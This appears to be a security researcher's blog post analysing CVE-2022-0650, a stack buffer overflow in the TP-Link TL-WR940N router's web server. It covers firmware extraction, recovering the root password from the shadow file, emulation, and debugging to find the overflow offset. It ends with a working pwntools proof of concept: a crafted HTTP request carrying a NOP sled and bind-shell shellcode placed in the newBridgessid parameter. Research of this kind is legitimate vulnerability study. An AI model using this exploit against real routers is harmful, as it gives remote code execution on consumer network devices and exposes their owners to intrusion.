CVE-2022-0650 Analysis & POC
Recently i was exploring Firmware analysis and iot exploitation domain out of curiosity , and it turned out to be very interesting to me. i spent a while studying Exploitation Basics , Solving Basic PWN & Reverse Engineering Challanges and Checking IOT Pentesting Course From FahemSec. I Spent days analyzing firmware and binaries in Ghidra and GDB and Finally I was able to reproduce couple of CVEs on TpLink Routers and even discover new ones!
In This Post i am analyzing the CVE-2022-0650 which as described a “TP-Link TL-WR940N httpd newBridgessid Stack-based Buffer Overflow Remote Code Execution Vulnerability”
This CVE has no public POC although it has been almost 3 years so i made one for it that executes a shell eventually.
Setting Up Environment
Getting Firmware
We don’t need to buy this specifc router to analyze/reproduce bugs , Most of TpLink Firmwares are public on their website to download. we can download that version from here.
after downloading it we got .bin
file which is the firmware file. we can inspect the SquashFS system if we want by running
binwalk -e fw.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
15120 0x3B10 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 95708 bytes
131584 0x20200 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 2589532 bytes
This will extract recognized embedded files automatically into _fw.bin.extracted
and we can find squashfs-root
which contains the file system. This will not be very helpful for our blog post but we can read the root shadow file and get the password as we will use it latter
cat etc/shadow
root:$1$GTN.gpri$DlSyKvZKMR9A9Uj9e9wR3/:15502:0:99999:7:::
Searching the password online will find it is sohoadmin
Firmadyne Emulation
As we have the firmware binary file we can try emulate it with firmadyne
tool From Repo it uses Qemu to emulate that image.
After setting it up and configure what needed as repo mentions , we can run the binary , 1
is the image id which will be 1
for your first image
firmadyne/scratch/1/run.sh
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 1000
Bringing up TAP device...
Adding route to 192.168.0.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Linux version 2.6.39.4+ (ddcc@ddcc-virtual) (gcc version 5.3.0 (GCC) ) #2 Tue Sep 1 18:08:53 EDT 2020
[ 0.000000] bootconsole [early0] enabled
[ 0.000000] CPU revision is: 00019300 (MIPS 24Kc)
[ 0.000000] FPU revision is: 00739300
[ 0.000000] Determined physical RAM map:
[ 0.000000] memory: 00001000 @ 00000000 (reserved)
[ 0.000000] memory: 000ef000 @ 00001000 (ROM data)
[ 0.000000] memory: 00678000 @ 000f0000 (reserved)
[ 0.000000] memory: 0f897000 @ 00768000 (usable)
[ 0.000000] debug: ignoring loglevel setting.
[ 0.000000] Wasting 60672 bytes for tracking 1896 unused pages
[ 0.000000] Initrd not found or empty - disabling initrd
...
and when it asks for password we will write the one we had before from shadow file.
after getting shell we will enable iptables and start services with rcS
iptables -F & iptables -P INPUT ACCEPT
sh /etc/rc.d/rcS
we should be able to access router web portal now
┌──(mesbah㉿firmware)-[~/Desktop/firmadyne]
└─$ curl 192.168.0.1
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WR740N/TL-WR741ND</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<SCRIPT language="javascript" type="text/javascript"><!--
//--></SCRIPT>
<SCRIPT language="javascript" type="text/javascript">
var httpAutErrorArray = new Array(
3, 1, "http://192.168.0.1", 0,0 );
</SCRIPT>
<SCRIPT language="javascript" type="text/javascript">
if(window.parent != window)
{
document.cookie = "Authorization=;path=/";
window.parent.location.href = httpAutErrorArray[2];
}
</SCRIPT>
<script type="text/javascript" src="../login/encrypt.js" /></script>
<style type="text/css">
Locating Httpd Binary
The Firmware Binary file itself contains alot of data like filesystem , binaries ,services and more. we are analyzing those services/binaries , Logging into the webportal (default creds are admin:admin
) will find the following URL Format :
NTOYIHJBBFEPWVDA
is changed each time we login as it is related to session
http://192.168.0.1/NTOYIHJBBFEPWVDA/userRpm/Index.htm
If we searching in the squashFs files for what binaries might include that URI will find /usr/bin/httpd
, that is not always the case you might find it in a directory contins web pages and you need to trace it back to find the binary. But for Tplink it is usually /usr/bin/httpd
──(mesbah㉿firmware)-[~/Desktop/_fw.bin.extracted/squashfs-root]
└─$ grep -ria 'Index.htm' .
/userRpm/BannerRpm.htm/userRpm/MainRpm.htm/userRpm/LogoutRpm.htmLogoutRpm/userRpm/MenuRpm.htmWzdStepOnlyBasic visibleMenuList"WzdStartRpm",
./usr/bin/httpd:window.parent.location.href = "%s/%s/userRpm/Index.htm";
*/*/Index.htm/images/*/fs/images/*/frames/*/fs/frames/*/dynaform/*/fs/dynaform/*/userRpm/*/
Drop the httpd Binary to Ghidra and start analysis.
Analyzing the Binary
The Advisory Contains “TP-Link TL-WR940N httpd newBridgessid Stack-based Buffer Overflow Remote Code Execution Vulnerability”
We have a place to start from , searching for newBridgessid
we will find the following string which has a reference in FUN_0045b218
Inspecting The Function we can understand the root cause of the Bug , although strncpy
is more safe than strcpy
as it has additional parameter that specifies the length to copy from source to destination. in this code snippet the length is not the destination length instead it is the source length , source here is our parameter input “newBridgessid”
This means we can write on stack beyond the local variable specified length which can overwrite the RIP
Eventually , side note in MIPs Architecture RIP
is called PC
:)
In Ghidra Traceback the function callers we will find
void httpWlanBasicCfgRpmsInit(void)
{
menuItemListAdd("WlanNetworkRpm");
httpRpmConfAdd(2,"/userRpm/WlanNetworkRpm.htm",&LAB_0045c6fc);
httpRpmConfAdd(2,"/userRpm/WlanNetworkRpm_AP.htm",&LAB_0045c6f0);
httpRpmConfAdd(2,"/userRpm/WlanNetworkRpm_APC.htm",&LAB_0045c6e4);
unCheckRefererUrlAdd("/userRpm/popupSiteSurveyRpm.htm");
unCheckRefererUrlAdd("/userRpm/popupSiteSurveyRpm_AP.htm");
httpRpmConfAdd(2,"/userRpm/popupSiteSurveyRpm.htm",&LAB_0045d644);
httpRpmConfAdd(2,"/userRpm/popupSiteSurveyRpm_AP.htm",&LAB_0045d638);
return;
}
and we will find our function call here , so the page WlanNetworkRpm.htm
is handled by that vulnerable function FUN_0045b218
void UndefinedFunction_0045c6fc(undefined4 param_1)
{
FUN_0045b218(0,param_1);
return;
}
One Thing Before Starting the Debgugging and POC Section , in the run.sh
file for image emulation i added norandmaps
in the Qemu
Command to disable the ASLR.
Debugging and Overwriting PC
The page doesn’t seem to be accessed from the UI , but we can capture a valid request and add parameters as following
Setting up GDB
To be able to use GDB First we need to move gdb-server
to the image first , we can do that easily by running scripts/mount.sh 1
and move it there and run scripts/umount.sh 1
to unmount it then run the image again.
Get the httpd
process (last one in processes) and run the gdb server
./gdbserver-7.12-mips-be-stripped --attach :1234 813
Attached; pid = 813
Listening on port 1234
Now From Your machine connect to it and make a breakpoint on strncpy
sudo gdb-multiarch \
-ex "set architecture mips" \
-ex "set endian big" \
-ex "set follow-fork-mode parent" \
-ex "set detach-on-fork on" \
-ex "set auto-solib-add off" \
-ex "set solib-absolute-prefix /" \
-ex "break strncpy" \
-ex "target extended-remote 192.168.0.1:1234"
Overwriting PC
Now Sending a slightly large payload of “A” into that parameter
in GDB we can find the PC has been overwritten successfully
Now to get the offset will generate a pattern with cyclic
and check its offset
pwndbg> cyclic -l 0x72616162
Finding cyclic pattern of 4 bytes: b'raab' (hex: 0x72616162)
Found at offset 168
Stack Analysis
Now Sending the payload "A"*168+"BBBB"+"C"*128+"DDDD"
to confirm we control PC
and check where rest of input is placed on stack.
we can confirm that we can control PC
, also rest of payload is placed on stack and SP
is pointing to it !
Checking NX
on The binary to check if stack is exectuable , and it is
pwndbg> checksec
File: /tmp/tmpppjkpr27/tmp3fys92c7
Arch: mips
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Our Payload Now Should be "A"*offset+RIP+Nops+shellcode
, RIP should be the SP
value so when execution reaches that it will execute the stack. as we disabled ASLR we can use the SP
address 0x7dbffba0
as our new RIP in our payload.
POC For a Shell
As we are going to use pwntools and make TCP Connection , we need to use construct the HTTP Request OurSelves.
Example :
def update_wifi_config(token):
url = f"http://192.168.0.1/{token}/userRpm/WlanNetworkRpm.htm"
params = {
"ssid1": "TP-LINK_B324_t", "ssid2": "TP-LINK_B324_2AAAAA", "ssid3": "TP-LINK_B324_3","ssid4": "TP-LINK_B324_4", "region": "101", "band": "0","mode": "5" ,"chanWidth": "2","channel": "15","ap": "1","broadcast": "2","brlssid": "","brlbssid": "","addrType": "1","keytype": "1","wepindex": "1","authtype": "1","keytext": "","newBridgessid": payload,"Save": "Save"
}
query_string = urlencode(params)
path = f"/{token}/userRpm/WlanNetworkRpm.htm?{query_string}"
headers = {
"Host": host,
"Cookie": "Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Referer": f"http://{host}/{token}/userRpm/MenuRpm.htm",
"Connection": "close"
}
request_lines = [f"GET {path} HTTP/1.1"]
print(path)
for k, v in headers.items():
request_lines.append(f"{k}: {v}")
raw_request = "\r\n".join(request_lines) + "\r\n\r\n"
io.send(raw_request.encode())
print(io.recvuntil(b"</html>", timeout=2))
io.close()
Now to generate the shellcode , we will use the shellcraft
from the pwntools and choose bind shell type , we also need to not use the badchars while generation such as null byte and new lines.
So the payload is overflowing until PC
, Using RSP address and some NOPs and Finally the shellcode.
context(arch='mips', endian='big', os='linux')
host = "192.168.0.1"
io = remote(host, 80)
nop = asm("addiu $a0, $a0, 0x4141")
ra_addr = 0x7dbffba0
avoid = b'\x00\x0a\x0d' + string.ascii_lowercase.encode()
shell = asm(shellcraft.bindsh(1337))
assert all(c not in avoid for c in read_shell)
payload = b"A" * 168
payload += p32(ra_addr)
payload += nop * 10
payload += shell
Running the exploit , we successfuly got a shell
Check Full POC Online here